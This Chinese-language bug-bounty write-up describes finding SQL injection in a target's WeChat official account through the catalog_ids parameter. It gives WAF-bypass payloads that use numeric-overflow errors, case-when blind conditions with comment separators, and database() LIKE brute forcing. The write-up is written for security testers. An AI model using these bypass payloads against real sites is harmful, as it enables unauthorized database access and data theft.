
一、寻找脆弱点


某次众测

Mou

1、信息收集,如子域名,c段。(看个人喜好选择收集途径)

2、对目标站点快速测试,寻找常见高危脆弱点(漏洞具有唯一性,先提先得)一番测试过后,没啥太大收获,于是收集目标站点其他资产。这里我使用小蓝本(免费)查询所属的一些资产,当然也可以直接去搜索相关公众号、小程序、app。

3、测试 app && 公众号(设置手机代理,抓包工具:fd or bp)。
公众号

4、点击左下角功能块,发现请求包存在注入


(现在漏洞点已经修复,由于找不到截图了,就简单地描述一下)
注入参数:catalog_ids

加一个 '

加两个 '

加三个、四个、五个、六个…
发现对单引号敏感
存在注入
.......

二、SQL注入


测试过程
1、构造最基本的poc:' and '1'='1 ' and
'1'='2 ' and 1=1+--+ '^1/1^'0 '||1/1||'
发现有waf,目测拦截规则有点东西,开始
fuzz基本的轮子有了,开始变形跑数据

2、' and 1+='1 返回数据
'and99999999999999999999999*9999
999999999999999999999999999999+
='1 溢出报错发现使用case when语
句会被拦截,准备bypass
参考资料:

3、开始bypass
跟换请求编码


根据 ' and 1+='1 返回数据
' and 99999999999999999999999*99999
99999999999999999999999999999+='1
溢出报错 构造
poc:
'or/**/case when length(user)='1' then 1 else/**/999999999999999999999999999
*99999999999999999999999999999999
99999999999999999999999 end ='1
(在else后面使用/**/隔开就好了)

4、得到用户名为20位,那么我选择爆破数据库名

5、得到database为:
****_client
poc:' or/**/ case when database() like
'&a&%' then 1 else/**/99999999999999999999999999
9*999999999999999999999999999999
9999999999999999999999999 end ='1

6、漏洞提交


最后发现app也存在同样的注入,且注入参数为同一个。(可惜)
欢迎关注我们

夜雨聆风